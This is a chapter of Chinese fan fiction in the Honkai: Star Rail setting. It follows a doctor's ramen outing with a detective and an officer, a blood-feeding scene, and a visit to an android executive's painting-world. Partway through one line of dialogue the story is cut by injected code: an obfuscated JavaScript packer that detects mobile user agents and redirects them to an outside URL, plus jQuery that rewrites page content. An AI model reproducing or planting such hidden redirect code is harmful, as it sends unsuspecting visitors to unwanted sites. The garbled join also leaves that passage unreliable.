鸡汤盐拉面还是要吃的。
旁白站在店门口,举着那张二人位号码牌:“二位,到号了。”
拉面端上来了,汤色清澈见底,带着些许金色的鸡油。鸡腿肉卷成的白肉叉烧切成厚片,边缘带着一圈很浅的焦色,笋干斜铺在叉烧旁边。葱花切得极细,撒在汤面上,被热气一蒸,香味和鸡汤的鲜味混在一起升上来。
兰涯先喝了一口汤。鸡汤的底味很干净,没有多余的调味,盐的用量刚好把鸡肉本身的鲜甜托出来。
有别于其他拉面,这家的面条很细,入口后的瞬间,面条在齿间弹了一下,然后断开。
不死途坐在旁边,面还没动。他的筷子搁在碗沿上,紫灰色的眼睛从帽檐下面看着她反应,嘴角往上扬着:“怎么样?”
“你是怎么找到这家店的?”她问,带着一丝真正的意外。
以不死途目前的味觉状况,痛觉退化了多少她还在评估,味觉的损失程度只会更严重。苦味对他来说已经几乎不存在了,咸味和甜味的感知阈值也一定大幅上移。
这家店的汤头虽然鲜美,但走的是清淡的路子,不是那种用重油重盐强行冲击味蕾的风格。他能找到这家店,显然不是靠吃出来的。
不死途带着一种非常明显的得意:“这么多年下来,我对你的口味已经胸有成竹了。”
“不过这家店,是异常防御部的治安官朽叶推荐的。”他拿起筷子,“她的日常爱好就是下了班去美食探店。”
话音刚落下,店门口的风铃响了一声。
一个穿着黑色职业装的女性走进来,进门之后先站在门口环顾了一圈,目光扫过吧台,落在双人桌的不死途身上,她的眉毛往上挑了一下。
“侦探先生?”朽叶走过来打招呼,“你怎么会带人来吃拉面?”
兰涯朝朽叶微微颔首:“你好,我是医师兰涯,侦探先生的朋友。”
“治安官朽叶。”朽叶在兰涯旁边的空位坐下来,说,“今天下午的调查有点郁闷,所以化忧郁为食欲。”
兰涯注意到不死途没有接话,她盲猜这件调查就是眼前这两人参与的,故而也没有追问的想法,好奇心可是很危险的。
朽叶点的拉面还在煮,两位女性聊起了笋干的家庭处理办法,主要是朽叶说,兰涯听。
朽叶对兰涯的口味非常欣赏,分享了自己的配方:“笋干不能直接用酱油熬煮的,得先晒到半干,再用鸡汤、酱油、砂糖、味醂一起煨。煨到汤汁收干之后,再晾凉过夜。”
说到这里,她的面端上来了,她顺势夹起一片笋干,举到灯光下:“你看这个颜色,不是酱油的黑,是鸡汤收干之后的那种琥珀色。”
兰涯凑近了一点看。笋干的切面确实不是酱色,是更浅的、带着透明感的深琥珀色。
“鸡汤的鲜味把笋干自身的鲜味托住了。”她说。
“对对对!”朽叶的筷子在空中点了一下,“医师很懂啊!我之前跟同事推荐这家店,他们吃完说‘挺好吃的就是有点淡’。哪里淡了!明明是他们的舌头被公司食堂的重油重盐腌坏了!”
兰涯忍不住笑了:“不是淡,是鲜味需要舌头静下来才能吃出来。”
朽叶放下筷子,双手轻轻合拢拍了一下:“医师你这句话我要记下来。下次再有人说淡,我就原话甩过去。”
不死途坐在旁边,默默地吃着自己碗里的面。
他吃面的节奏非常稳定,紫灰色的眼睛盯着碗里的汤面,偶尔抬起眼皮看一眼兰涯和朽叶相谈甚欢的侧脸,然后低下去,继续盯着碗。
朽叶显然对美食的认知极为有见地,她和兰涯从笋干的处理方法聊到鸡汤的吊法,从鸡汤的吊法聊到二相乐园哪家面包店的盐面包做得最好,从盐面包聊到她上个休息日专门坐车去海原市吃了一家据说离百个琥珀纪的老店还差九十九个琥珀纪的可乐饼。
兰涯说自己吃过用猴面包果做的可乐饼,外皮炸得很酥,里面的果肉还保留了一点颗粒感。朽叶听得眼睛发亮,把这个做法记在了手机记事本里。
不死途碗里的面吃完了。他把筷子搁在碗沿上,端起碗把最后一口汤喝完。汤碗放下来的时候,碗底在台面上发出一声很轻的磕碰声。
朽叶的拉面也吃完了。她双手合十说了一句“多谢款待”,然后掏出钱包:“今天吃得太开心了。医师,下次有机会再一起探店啊。”
朽叶付完账,朝不死途挥了一下手:“侦探先生,回见。”风铃响了一声,她消失在店门外。
两人走出拉面店,回到报社已经很晚了,狸猫们早就下班了,旁白在隔间里盖着毯子睡得正沉。
靠在沙发上,兰涯用小刀划开自己左手,她下手很干脆,血珠从切口里冒出来。她把刀放下,很自然地把手腕伸向他。
不死途把三才钉稍微松了松,影子试探着从里面探出来,先是细细的的暗色丝线,绕着手腕打了几个温顺的圈,然后才慢慢往前延伸,完全包裹住她的左手。它虽然饿急了,但碰到她皮肤时仍然很轻,像是在小心翼翼地把贪婪的尖牙藏在深海之下。
影子开始吸吮了,像幼兽用奶牙叼住手,不敢咬太深,又舍不得松开。偶尔吸得过急,它还会自己停下来,松开一瞬,再重新贴上去,像是怕弄疼她。
放任影子补充血液这一诡异的场景,两个人开始闲聊起来。
“朽叶小姐很让人感到亲切。”兰涯说,她的目光落在狸猫没关掉的接线板的指示灯上,“她的声音和我之前追的动画角色很相似,有这个声音的不会是坏人。”
不死途从刚才旁观兰涯和朽叶聊天时莫名的沉默里恢复了平时的语调:“你这话也是捏他哪本漫画吧?肯定不是《麦卡托事件簿》。”
“其实是捏他《渔公案》。”兰涯说。
不死途眨了眨眼,《渔公案》已经是不知道什么年代的常青作品,跨度之大让他早就放弃了追更。
影子吃饱了,它从兰涯手腕上慢慢撤下来,缩回三才钉下,甚至还主动帮忙愈合了伤口。
兰涯收起左手,似乎很满意影子的乖巧,对影子温柔地叮嘱:“记住这个味道,以后用得上。”
报社里没开灯,窗外街灯的光落在她脸上,把她的侧脸切成明暗两半。
“差点忘了。”她看向他,“后面我们要减少公共场所,特别是直播场所的出现。”
听了这话,他整个人从头到脚散发出一种非常熟悉的、兰涯见过很多次的气息。
沮丧的小狗。
“为什么?”他问。
兰涯侧过身,窗外的光从她肩膀后面照过来,把她的表情打上了一层很柔和的滤镜:“你也参加幻月游戏了,不是吗?”
不死途没有否认。
“我来这里是为了病人委托。这一次大概率得动个大手术,我可不想把我的术前准备什么的都直播出来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517304|202004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样根本没法治疗。”
紫灰色的眼睛里的光暗了一瞬,他把帽檐往下压了压:“知道了。”
兰涯的手落在他垂在身侧的那只手臂上,隔着红白西装斗篷的衣袖,轻轻拍了拍:“你自己也有案子要完成。加油吧,侦探先生。”
果不其然,星铁FES的会场上,在战队谒者袭击列车组的最危险关头,拉曼查的唱名响彻二相乐园。
真珠坐在办公室的椅子上。智械的身体不需要休息,但她把后背靠在椅背上,两只手交叠放在桌面上,姿势和一个刚处理完突发事件的执行官一模一样。
星铁FES的谒者袭击事件、二相乐园各处开裂的紧急事件,都已经解决了。
秘书的请示通讯发来:“有一位自称医师的兰涯女士求见。”
真珠停了一瞬,说:“请她进来。”
真珠其实和这位绝境医师并无医患关系,而是靠石心十人里的其他同僚的引荐,借用曾经医师欠战略投资部的人情,邀请到领猎人来二相乐园压阵,她本人与医师处在认识但不熟悉的阶段。
门推开了,兰涯走进来。
真珠从办公桌后面站起来,智械的身体动作流畅而精确,她的声音里的语调带着智械特有的、把语言当作精确工具来使用的克制感,每个音节之间的间隔完全相等。
“推测:医师前来的目的,与这幅画后面的空间有关。”
兰涯在她的办公桌前停下脚步,说:“恕我是等直播结束后才前来。这个到处都是流量陷阱的地方,非常影响正常诊治工作。还请真珠女士给我完成术前医疗评估的机会。”
真珠的瞳孔里计算的数据流停了一毫秒:“这次的治疗对象,听起来非同一般。我的计算结果是:医师要治疗一位星神。”
“那要看我进去后的评估结果了。”兰涯没有否认,脸上的微笑带着一些令真珠摸不准的含义,“实不相瞒,我做好了治疗不止一位星神的准备。”
真珠的面部表情在这一刻出现了一个极其短暂的、近乎失真的停顿,瞳孔里的数据流剧烈地闪烁了一次。
“这下我对医师的认知,要推翻重来了。”她说。
办公室后面的墙上挂着一幅画,尺寸很大,从天花板一直垂到地板上。
画的内容像是一片圆形的云,云的边缘处向内布满了尖锐的、像牙齿一样的突起。
真珠走到画前面,侧过身:“众神嗤笑之地。医师,请。”
兰涯和真珠一起走进画布里,碎裂的建筑物在周围铺展开来。
地面是不平整的,到处都是裂缝,裂缝深处有紫红色的光透出来。
空气是静止的,没有风,悬在半空中的建筑残骸在极其缓慢地旋转。
天空是紫红色的,云层的边缘布满尖牙利齿,那些牙齿像某种巨大生物的呼吸一样有节奏的开合。
兰涯站在一片倾斜的混凝土板上。
她环顾四周,目光从碎裂的建筑移到紫红色的天空,从天空移到云层边缘那些缓慢开合的牙齿。
她看了很久,接着转过身。
真珠站在她身后,明显在等待着医师医疗评估的结果。
“很遗憾,真珠女士。”兰涯的声音不高,但在静止的空气里传得很清楚,“我希望你代我联系钻石。如果你们不想被市场开拓部拉下水一起陪葬的话。”
真珠的瞳孔里,数据流的光彻底停住了。